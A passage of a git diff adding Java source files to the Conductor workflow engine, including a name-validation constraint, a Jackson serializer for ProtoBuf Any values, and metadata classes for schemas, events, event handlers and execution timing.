+ */ +@Documented +@Constraint(validatedBy = ValidNameConstraint.NameValidator.class) +@Target({FIELD}) +@Retention(RetentionPolicy.RUNTIME) +public @interface ValidNameConstraint { + + String message() default ""; + + Class[] groups() default {}; + + Class[] payload() default {}; + + class NameValidator implements ConstraintValidator { + + private static final String NAME_PATTERN = "^[A-Za-z0-9_<>{}#\\s-]+$"; + public static final String INVALID_NAME_MESSAGE = + "Allowed characters are alphanumeric, underscores, spaces, hyphens, and special characters like <, >, {, }, #"; + + @Value("${conductor.app.workflow.name-validation.enabled}") + private boolean nameValidationEnabled; + + @Override + public void initialize(ValidNameConstraint constraintAnnotation) {} + + @Override + public boolean isValid(String name, ConstraintValidatorContext context) { + boolean valid = name == null || !nameValidationEnabled || name.matches(NAME_PATTERN); + if (!valid) { + context.disableDefaultConstraintViolation(); + context.buildConstraintViolationWithTemplate( + "Invalid name '" + name + "'. " + INVALID_NAME_MESSAGE) + .addConstraintViolation(); + } + return valid; + } + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/jackson/JsonProtoModule.java b/common/src/main/java/com/netflix/conductor/common/jackson/JsonProtoModule.java new file mode 100644 index 0000000..528d2ab --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/jackson/JsonProtoModule.java @@ -0,0 +1,148 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.jackson; + +import java.io.IOException; + +import org.springframework.stereotype.Component; + +import com.fasterxml.jackson.core.JsonGenerator; +import com.fasterxml.jackson.core.JsonParser; +import com.fasterxml.jackson.databind.DeserializationContext; +import com.fasterxml.jackson.databind.JsonDeserializer; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.JsonSerializer; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializerProvider; +import com.fasterxml.jackson.databind.module.SimpleModule; +import com.google.protobuf.Any; +import com.google.protobuf.ByteString; +import com.google.protobuf.Message; + +/** + * JsonProtoModule can be registered into an {@link ObjectMapper} to enable the serialization and + * deserialization of ProtoBuf objects from/to JSON. + * + *

Right now this module only provides (de)serialization for the {@link Any} ProtoBuf type, as + * this is the only ProtoBuf object which we're currently exposing through the REST API. + * + *

Annotated as {@link Component} so Spring can register it with {@link ObjectMapper} + * + * @see AnySerializer + * @see AnyDeserializer + * @see org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration + */ +@Component(JsonProtoModule.NAME) +public class JsonProtoModule extends SimpleModule { + + public static final String NAME = "ConductorJsonProtoModule"; + + private static final String JSON_TYPE = "@type"; + private static final String JSON_VALUE = "@value"; + + /** + * AnySerializer converts a ProtoBuf {@link Any} object into its JSON representation. + * + *

This is not a canonical ProtoBuf JSON representation. Let us explain what we're + * trying to accomplish here: + * + *

The {@link Any} ProtoBuf message is a type in the PB standard library that can store any + * other arbitrary ProtoBuf message in a type-safe way, even when the server has no knowledge of + * the schema of the stored message. + * + *

It accomplishes this by storing a tuple of information: an URL-like type declaration for + * the stored message, and the serialized binary encoding of the stored message itself. Language + * specific implementations of ProtoBuf provide helper methods to encode and decode arbitrary + * messages into an {@link Any} object ({@link Any#pack(Message)} in Java). + * + *

We want to expose these {@link Any} objects in the REST API because they've been + * introduced as part of the new GRPC interface to Conductor, but unfortunately we cannot encode + * them using their canonical ProtoBuf JSON encoding. According to the docs: + * + *

The JSON representation of an `Any` value uses the regular representation of the + * deserialized, embedded message, with an additional field `@type` which contains the type URL. + * Example: + * + *

package google.profile; message Person { string first_name = 1; string last_name = 2; } { + * "@type": "type.googleapis.com/google.profile.Person", "firstName": , "lastName": + * } + * + *

In order to accomplish this representation, the PB-JSON encoder needs to have knowledge of + * all the ProtoBuf messages that could be serialized inside the {@link Any} message. This is + * not possible to accomplish inside the Conductor server, which is simply passing through + * arbitrary payloads from/to clients. + * + *

Consequently, to actually expose the Message through the REST API, we must create a custom + * encoding that contains the raw data of the serialized message, as we are not able to + * deserialize it on the server. We simply return a dictionary with '@type' and '@value' keys, + * where '@type' is identical to the canonical representation, but '@value' contains a base64 + * encoded string with the binary data of the serialized message. + * + *

Since all the provided Conductor clients are required to know this encoding, it's always + * possible to re-build the original {@link Any} message regardless of the client's language. + * + *

{@see AnyDeserializer} + */ + @SuppressWarnings("InnerClassMayBeStatic") + protected class AnySerializer extends JsonSerializer { + + @Override + public void serialize(Any value, JsonGenerator jgen, SerializerProvider provider) + throws IOException { + jgen.writeStartObject(); + jgen.writeStringField(JSON_TYPE, value.getTypeUrl()); + jgen.writeBinaryField(JSON_VALUE, value.getValue().toByteArray()); + jgen.writeEndObject(); + } + } + + /** + * AnyDeserializer converts the custom JSON representation of an {@link Any} value into its + * original form. + * + *

{@see AnySerializer} for details on this representation. + */ + @SuppressWarnings("InnerClassMayBeStatic") + protected class AnyDeserializer extends JsonDeserializer { + + @Override + public Any deserialize(JsonParser p, DeserializationContext ctxt) throws IOException { + JsonNode root = p.getCodec().readTree(p); + JsonNode type = root.get(JSON_TYPE); + JsonNode value = root.get(JSON_VALUE); + + if (type == null || !type.isTextual()) { + ctxt.reportBadDefinition( + type.getClass(), + "invalid '@type' field when deserializing ProtoBuf Any object"); + } + + if (value == null || !value.isTextual()) { + ctxt.reportBadDefinition( + type.getClass(), + "invalid '@value' field when deserializing ProtoBuf Any object"); + } + + return Any.newBuilder() + .setTypeUrl(type.textValue()) + .setValue(ByteString.copyFrom(value.binaryValue())) + .build(); + } + } + + public JsonProtoModule() { + super(NAME); + addSerializer(Any.class, new AnySerializer()); + addDeserializer(Any.class, new AnyDeserializer()); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/Auditable.java b/common/src/main/java/com/netflix/conductor/common/metadata/Auditable.java new file mode 100644 index 0000000..bef2e17 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/Auditable.java @@ -0,0 +1,96 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata; + +public abstract class Auditable { + + private String ownerApp; + + private Long createTime; + + private Long updateTime; + + private String createdBy; + + private String updatedBy; + + /** + * @return the ownerApp + */ + public String getOwnerApp() { + return ownerApp; + } + + /** + * @param ownerApp the ownerApp to set + */ + public void setOwnerApp(String ownerApp) { + this.ownerApp = ownerApp; + } + + /** + * @return the createTime + */ + public Long getCreateTime() { + return createTime == null ? 0 : createTime; + } + + /** + * @param createTime the createTime to set + */ + public void setCreateTime(Long createTime) { + this.createTime = createTime; + } + + /** + * @return the updateTime + */ + public Long getUpdateTime() { + return updateTime == null ? 0 : updateTime; + } + + /** + * @param updateTime the updateTime to set + */ + public void setUpdateTime(Long updateTime) { + this.updateTime = updateTime; + } + + /** + * @return the createdBy + */ + public String getCreatedBy() { + return createdBy; + } + + /** + * @param createdBy the createdBy to set + */ + public void setCreatedBy(String createdBy) { + this.createdBy = createdBy; + } + + /** + * @return the updatedBy + */ + public String getUpdatedBy() { + return updatedBy; + } + + /** + * @param updatedBy the updatedBy to set + */ + public void setUpdatedBy(String updatedBy) { + this.updatedBy = updatedBy; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/BaseDef.java b/common/src/main/java/com/netflix/conductor/common/metadata/BaseDef.java new file mode 100644 index 0000000..fac1d10 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/BaseDef.java @@ -0,0 +1,57 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata; + +import java.util.Collections; +import java.util.EnumMap; +import java.util.Map; + +import com.netflix.conductor.common.metadata.acl.Permission; + +/** + * A base class for {@link com.netflix.conductor.common.metadata.workflow.WorkflowDef} and {@link + * com.netflix.conductor.common.metadata.tasks.TaskDef}. + */ +@Deprecated +public abstract class BaseDef extends Auditable { + + private final Map accessPolicy = new EnumMap<>(Permission.class); + + public void addPermission(Permission permission, String allowedAuthority) { + this.accessPolicy.put(permission, allowedAuthority); + } + + public void addPermissionIfAbsent(Permission permission, String allowedAuthority) { + this.accessPolicy.putIfAbsent(permission, allowedAuthority); + } + + public void removePermission(Permission permission) { + this.accessPolicy.remove(permission); + } + + public String getAllowedAuthority(Permission permission) { + return this.accessPolicy.get(permission); + } + + public void clearAccessPolicy() { + this.accessPolicy.clear(); + } + + public Map getAccessPolicy() { + return Collections.unmodifiableMap(this.accessPolicy); + } + + public void setAccessPolicy(Map accessPolicy) { + this.accessPolicy.putAll(accessPolicy); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/EnvironmentVariable.java b/common/src/main/java/com/netflix/conductor/common/metadata/EnvironmentVariable.java new file mode 100644 index 0000000..82c893f --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/EnvironmentVariable.java @@ -0,0 +1,46 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata; + +public class EnvironmentVariable { + + private String name; + private String value; + + public EnvironmentVariable() {} + + public EnvironmentVariable(String name, String value) { + this.name = name; + this.value = value; + } + + public static EnvironmentVariable of(String name, String value) { + return new EnvironmentVariable(name, value); + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/SchemaDef.java b/common/src/main/java/com/netflix/conductor/common/metadata/SchemaDef.java new file mode 100644 index 0000000..5d8b80b --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/SchemaDef.java @@ -0,0 +1,62 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata; + +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +import jakarta.validation.constraints.NotNull; +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +@EqualsAndHashCode(callSuper = true) +@Builder +@Data +@NoArgsConstructor +@AllArgsConstructor +@ProtoMessage +public class SchemaDef extends Auditable { + + @ProtoEnum + public enum Type { + JSON, + AVRO, + PROTOBUF + } + + @ProtoField(id = 1) + @NotNull + private String name; + + @ProtoField(id = 2) + @NotNull + @Builder.Default + private int version = 1; + + @ProtoField(id = 3) + @NotNull + private Type type; + + // Schema definition stored here + private Map data; + + // Externalized schema definition (eg. via AVRO, Protobuf registry) + // If using Orkes Schema registry, this points to the name of the schema in the registry + private String externalRef; +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/acl/Permission.java b/common/src/main/java/com/netflix/conductor/common/metadata/acl/Permission.java new file mode 100644 index 0000000..a87c899 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/acl/Permission.java @@ -0,0 +1,22 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.acl; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; + +@ProtoEnum +@Deprecated +public enum Permission { + OWNER, + OPERATOR +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/events/EventExecution.java b/common/src/main/java/com/netflix/conductor/common/metadata/events/EventExecution.java new file mode 100644 index 0000000..fd5310a --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/events/EventExecution.java @@ -0,0 +1,201 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.events; + +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; +import com.netflix.conductor.common.metadata.events.EventHandler.Action; + +@ProtoMessage +public class EventExecution { + + @ProtoEnum + public enum Status { + IN_PROGRESS, + COMPLETED, + FAILED, + SKIPPED + } + + @ProtoField(id = 1) + private String id; + + @ProtoField(id = 2) + private String messageId; + + @ProtoField(id = 3) + private String name; + + @ProtoField(id = 4) + private String event; + + @ProtoField(id = 5) + private long created; + + @ProtoField(id = 6) + private Status status; + + @ProtoField(id = 7) + private Action.Type action; + + @ProtoField(id = 8) + private Map output = new HashMap<>(); + + public EventExecution() {} + + public EventExecution(String id, String messageId) { + this.id = id; + this.messageId = messageId; + } + + /** + * @return the id + */ + public String getId() { + return id; + } + + /** + * @param id the id to set + */ + public void setId(String id) { + this.id = id; + } + + /** + * @return the messageId + */ + public String getMessageId() { + return messageId; + } + + /** + * @param messageId the messageId to set + */ + public void setMessageId(String messageId) { + this.messageId = messageId; + } + + /** + * @return the name + */ + public String getName() { + return name; + } + + /** + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * @return the event + */ + public String getEvent() { + return event; + } + + /** + * @param event the event to set + */ + public void setEvent(String event) { + this.event = event; + } + + /** + * @return the created + */ + public long getCreated() { + return created; + } + + /** + * @param created the created to set + */ + public void setCreated(long created) { + this.created = created; + } + + /** + * @return the status + */ + public Status getStatus() { + return status; + } + + /** + * @param status the status to set + */ + public void setStatus(Status status) { + this.status = status; + } + + /** + * @return the action + */ + public Action.Type getAction() { + return action; + } + + /** + * @param action the action to set + */ + public void setAction(Action.Type action) { + this.action = action; + } + + /** + * @return the output + */ + public Map getOutput() { + return output; + } + + /** + * @param output the output to set + */ + public void setOutput(Map output) { + this.output = output; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + EventExecution execution = (EventExecution) o; + return created == execution.created + && Objects.equals(id, execution.id) + && Objects.equals(messageId, execution.messageId) + && Objects.equals(name, execution.name) + && Objects.equals(event, execution.event) + && status == execution.status + && action == execution.action + && Objects.equals(output, execution.output); + } + + @Override + public int hashCode() { + return Objects.hash(id, messageId, name, event, created, status, action, output); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/events/EventHandler.java b/common/src/main/java/com/netflix/conductor/common/metadata/events/EventHandler.java new file mode 100644 index 0000000..0c21f81 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/events/EventHandler.java @@ -0,0 +1,564 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.events; + +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoEnum; +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +import com.google.protobuf.Any; +import io.swagger.v3.oas.annotations.Hidden; +import jakarta.validation.Valid; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; + +/** Defines an event handler */ +@ProtoMessage +public class EventHandler { + + @ProtoField(id = 1) + @NotEmpty(message = "Missing event handler name") + private String name; + + @ProtoField(id = 2) + @NotEmpty(message = "Missing event location") + private String event; + + @ProtoField(id = 3) + private String condition; + + @ProtoField(id = 4) + @NotNull + @NotEmpty(message = "No actions specified. Please specify at-least one action") + private List<@Valid Action> actions = new LinkedList<>(); + + @ProtoField(id = 5) + private boolean active; + + @ProtoField(id = 6) + private String evaluatorType; + + public EventHandler() {} + + /** + * @return the name MUST be unique within a conductor instance + */ + public String getName() { + return name; + } + + /** + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * @return the event + */ + public String getEvent() { + return event; + } + + /** + * @param event the event to set + */ + public void setEvent(String event) { + this.event = event; + } + + /** + * @return the condition + */ + public String getCondition() { + return condition; + } + + /** + * @param condition the condition to set + */ + public void setCondition(String condition) { + this.condition = condition; + } + + /** + * @return the actions + */ + public List getActions() { + return actions; + } + + /** + * @param actions the actions to set + */ + public void setActions(List actions) { + this.actions = actions; + } + + /** + * @return the active + */ + public boolean isActive() { + return active; + } + + /** + * @param active if set to false, the event handler is deactivated + */ + public void setActive(boolean active) { + this.active = active; + } + + /** + * @return the evaluator type + */ + public String getEvaluatorType() { + return evaluatorType; + } + + /** + * @param evaluatorType the evaluatorType to set + */ + public void setEvaluatorType(String evaluatorType) { + this.evaluatorType = evaluatorType; + } + + @ProtoMessage + public static class Action { + + @ProtoEnum + public enum Type { + start_workflow, + complete_task, + fail_task, + terminate_workflow, + update_workflow_variables + } + + @ProtoField(id = 1) + private Type action; + + @ProtoField(id = 2) + private StartWorkflow start_workflow; + + @ProtoField(id = 3) + private TaskDetails complete_task; + + @ProtoField(id = 4) + private TaskDetails fail_task; + + @ProtoField(id = 5) + private boolean expandInlineJSON; + + @ProtoField(id = 6) + private TerminateWorkflow terminate_workflow; + + @ProtoField(id = 7) + private UpdateWorkflowVariables update_workflow_variables; + + /** + * @return the action + */ + public Type getAction() { + return action; + } + + /** + * @param action the action to set + */ + public void setAction(Type action) { + this.action = action; + } + + /** + * @return the start_workflow + */ + public StartWorkflow getStart_workflow() { + return start_workflow; + } + + /** + * @param start_workflow the start_workflow to set + */ + public void setStart_workflow(StartWorkflow start_workflow) { + this.start_workflow = start_workflow; + } + + /** + * @return the complete_task + */ + public TaskDetails getComplete_task() { + return complete_task; + } + + /** + * @param complete_task the complete_task to set + */ + public void setComplete_task(TaskDetails complete_task) { + this.complete_task = complete_task; + } + + /** + * @return the fail_task + */ + public TaskDetails getFail_task() { + return fail_task; + } + + /** + * @param fail_task the fail_task to set + */ + public void setFail_task(TaskDetails fail_task) { + this.fail_task = fail_task; + } + + /** + * @param expandInlineJSON when set to true, the in-lined JSON strings are expanded to a + * full json document + */ + public void setExpandInlineJSON(boolean expandInlineJSON) { + this.expandInlineJSON = expandInlineJSON; + } + + /** + * @return true if the json strings within the payload should be expanded. + */ + public boolean isExpandInlineJSON() { + return expandInlineJSON; + } + + /** + * @return the terminate_workflow + */ + public TerminateWorkflow getTerminate_workflow() { + return terminate_workflow; + } + + /** + * @param terminate_workflow the terminate_workflow to set + */ + public void setTerminate_workflow(TerminateWorkflow terminate_workflow) { + this.terminate_workflow = terminate_workflow; + } + + /** + * @return the update_workflow_variables + */ + public UpdateWorkflowVariables getUpdate_workflow_variables() { + return update_workflow_variables; + } + + /** + * @param update_workflow_variables the update_workflow_variables to set + */ + public void setUpdate_workflow_variables( + UpdateWorkflowVariables update_workflow_variables) { + this.update_workflow_variables = update_workflow_variables; + } + } + + @ProtoMessage + public static class TaskDetails { + + @ProtoField(id = 1) + private String workflowId; + + @ProtoField(id = 2) + private String taskRefName; + + @ProtoField(id = 3) + private Map output = new HashMap<>(); + + @ProtoField(id = 4) + @Hidden + private Any outputMessage; + + @ProtoField(id = 5) + private String taskId; + + @ProtoField(id = 6) + private String reasonForIncompletion; + + /** + * @return the workflowId + */ + public String getWorkflowId() { + return workflowId; + } + + /** + * @param workflowId the workflowId to set + */ + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + /** + * @return the taskRefName + */ + public String getTaskRefName() { + return taskRefName; + } + + /** + * @param taskRefName the taskRefName to set + */ + public void setTaskRefName(String taskRefName) { + this.taskRefName = taskRefName; + } + + /** + * @return the output + */ + public Map getOutput() { + return output; + } + + /** + * @param output the output to set + */ + public void setOutput(Map output) { + this.output = output; + } + + public Any getOutputMessage() { + return outputMessage; + } + + public void setOutputMessage(Any outputMessage) { + this.outputMessage = outputMessage; + } + + /** + * @return the taskId + */ + public String getTaskId() { + return taskId; + } + + /** + * @param taskId the taskId to set + */ + public void setTaskId(String taskId) { + this.taskId = taskId; + } + + /** + * @return the reasonForIncompletion + */ + public String getReasonForIncompletion() { + return reasonForIncompletion; + } + + /** + * @param reasonForIncompletion the reasonForIncompletion to set + */ + public void setReasonForIncompletion(String reasonForIncompletion) { + this.reasonForIncompletion = reasonForIncompletion; + } + } + + @ProtoMessage + public static class StartWorkflow { + + @ProtoField(id = 1) + private String name; + + @ProtoField(id = 2) + private Integer version; + + @ProtoField(id = 3) + private String correlationId; + + @ProtoField(id = 4) + private Map input = new HashMap<>(); + + @ProtoField(id = 5) + @Hidden + private Any inputMessage; + + @ProtoField(id = 6) + private Map taskToDomain; + + /** + * @return the name + */ + public String getName() { + return name; + } + + /** + * @param name the name to set + */ + public void setName(String name) { + this.name = name; + } + + /** + * @return the version + */ + public Integer getVersion() { + return version; + } + + /** + * @param version the version to set + */ + public void setVersion(Integer version) { + this.version = version; + } + + /** + * @return the correlationId + */ + public String getCorrelationId() { + return correlationId; + } + + /** + * @param correlationId the correlationId to set + */ + public void setCorrelationId(String correlationId) { + this.correlationId = correlationId; + } + + /** + * @return the input + */ + public Map getInput() { + return input; + } + + /** + * @param input the input to set + */ + public void setInput(Map input) { + this.input = input; + } + + public Any getInputMessage() { + return inputMessage; + } + + public void setInputMessage(Any inputMessage) { + this.inputMessage = inputMessage; + } + + public Map getTaskToDomain() { + return taskToDomain; + } + + public void setTaskToDomain(Map taskToDomain) { + this.taskToDomain = taskToDomain; + } + } + + @ProtoMessage + public static class TerminateWorkflow { + + @ProtoField(id = 1) + private String workflowId; + + @ProtoField(id = 2) + private String terminationReason; + + /** + * @return the workflowId + */ + public String getWorkflowId() { + return workflowId; + } + + /** + * @param workflowId the workflowId to set + */ + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + /** + * @return the reasonForTermination + */ + public String getTerminationReason() { + return terminationReason; + } + + /** + * @param terminationReason the reasonForTermination to set + */ + public void setTerminationReason(String terminationReason) { + this.terminationReason = terminationReason; + } + } + + @ProtoMessage + public static class UpdateWorkflowVariables { + + @ProtoField(id = 1) + private String workflowId; + + @ProtoField(id = 2) + private Map variables; + + @ProtoField(id = 3) + private Boolean appendArray; + + /** + * @return the workflowId + */ + public String getWorkflowId() { + return workflowId; + } + + /** + * @param workflowId the workflowId to set + */ + public void setWorkflowId(String workflowId) { + this.workflowId = workflowId; + } + + /** + * @return the variables + */ + public Map getVariables() { + return variables; + } + + /** + * @param variables the variables to set + */ + public void setVariables(Map variables) { + this.variables = variables; + } + + /** + * @return appendArray + */ + public Boolean isAppendArray() { + return appendArray; + } + + /** + * @param appendArray the appendArray to set + */ + public void setAppendArray(Boolean appendArray) { + this.appendArray = appendArray; + } + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/metadata/tasks/ExecutionMetadata.java b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/ExecutionMetadata.java new file mode 100644 index 0000000..70e29cf --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/metadata/tasks/ExecutionMetadata.java @@ -0,0 +1,234 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.metadata.tasks; + +import java.util.HashMap; +import java.util.Map; + +import com.netflix.conductor.annotations.protogen.ProtoField; +import com.netflix.conductor.annotations.protogen.ProtoMessage; + +/** + * Execution metadata for capturing NEW operational metadata not already present in Task/TaskResult + * models. Contains enhanced timing measurements and additional context for operational purposes. + */ +@ProtoMessage +public class ExecutionMetadata { + + // Direct timing fields + @ProtoField(id = 1) + private Long serverSendTime; + + @ProtoField(id = 2) + private Long clientReceiveTime; + + @ProtoField(id = 3) + private Long executionStartTime; + + @ProtoField(id = 4) + private Long executionEndTime; + + @ProtoField(id = 5) + private Long clientSendTime; + + @ProtoField(id = 6) + private Long pollNetworkLatency; + + @ProtoField(id = 7) + private Long updateNetworkLatency; + + // Additional context as Map for flexibility + @ProtoField(id = 8) + private Map additionalContext = new HashMap<>(); + + public ExecutionMetadata() {} + + // ============ TIMING METHODS ============ + + /** Sets server send time */ + public void setServerSendTime(long timestamp) { + this.serverSendTime = timestamp; + } + + /** Sets client receive time */ + public void setClientReceiveTime(long timestamp) { + this.clientReceiveTime = timestamp; + } + + /** Sets execution start time */ + public void setExecutionStartTime(long timestamp) { + this.executionStartTime = timestamp; + } + + /** Sets execution end time */ + public void setExecutionEndTime(long timestamp) { + this.executionEndTime = timestamp; + } + + /** Sets client send time */ + public void setClientSendTime(long timestamp) { + this.clientSendTime = timestamp; + } + + /** Sets poll network latency */ + public void setPollNetworkLatency(long latencyMs) { + this.pollNetworkLatency = latencyMs; + } + + /** Sets update network latency */ + public void setUpdateNetworkLatency(long latencyMs) { + this.updateNetworkLatency = latencyMs; + } + + /** Gets server send time */ + public Long getServerSendTime() { + return serverSendTime; + } + + /** Gets client receive time */ + public Long getClientReceiveTime() { + return clientReceiveTime; + } + + /** Gets execution start time */ + public Long getExecutionStartTime() { + return executionStartTime; + } + + /** Gets execution end time */ + public Long getExecutionEndTime() { + return executionEndTime; + } + + /** Gets client send time */ + public Long getClientSendTime() { + return clientSendTime; + } + + /** Gets poll network latency */ + public Long getPollNetworkLatency() { + return pollNetworkLatency; + } + + /** Gets update network latency */ + public Long getUpdateNetworkLatency() { + return updateNetworkLatency; + } + + /** Calculates total execution time */ + public Long getExecutionDuration() { + if (executionStartTime != null && executionEndTime != null) { + return executionEndTime - executionStartTime; + } + return null; + } + + // ============ ADDITIONAL CONTEXT METHODS ============ + + /** Sets additional context data */ + public void setAdditionalContext(String key, Object value) { + additionalContext.put(key, value); + } + + /** Gets additional context data */ + public Object getAdditionalContext(String key) { + return additionalContext.get(key); + } + + /** Gets the additional context map (for protogen compatibility) */ + public Map getAdditionalContext() { + return additionalContext; + } + + // ============ GETTERS AND SETTERS ============ + + public void setServerSendTime(Long serverSendTime) { + this.serverSendTime = serverSendTime; + } + + public void setClientReceiveTime(Long clientReceiveTime) { + this.clientReceiveTime = clientReceiveTime; + } + + public void setExecutionStartTime(Long executionStartTime) { + this.executionStartTime = executionStartTime; + } + + public void setExecutionEndTime(Long executionEndTime) { + this.executionEndTime = executionEndTime; + } + + public void setClientSendTime(Long clientSendTime) { + this.clientSendTime = clientSendTime; + } + + public void setPollNetworkLatency(Long pollNetworkLatency) { + this.pollNetworkLatency = pollNetworkLatency; + } + + public void setUpdateNetworkLatency(Long updateNetworkLatency) { + this.updateNetworkLatency = updateNetworkLatency; + } + + public Map getAdditionalContextMap() { + return additionalContext; + } + + public void setAdditionalContextMap(Map additionalContext) { + this.additionalContext = additionalContext != null ? additionalContext : new HashMap<>(); + } + + /** Sets the additional context map (for protogen compatibility) */ + public void setAdditionalContext(Map additionalContext) { + this.additionalContext = additionalContext != null ? additionalContext : new HashMap<>(); + } + + /** Checks if this ExecutionMetadata has any meaningful data */ + public boolean hasData() { + return serverSendTime != null + || clientReceiveTime != null + || executionStartTime != null + || 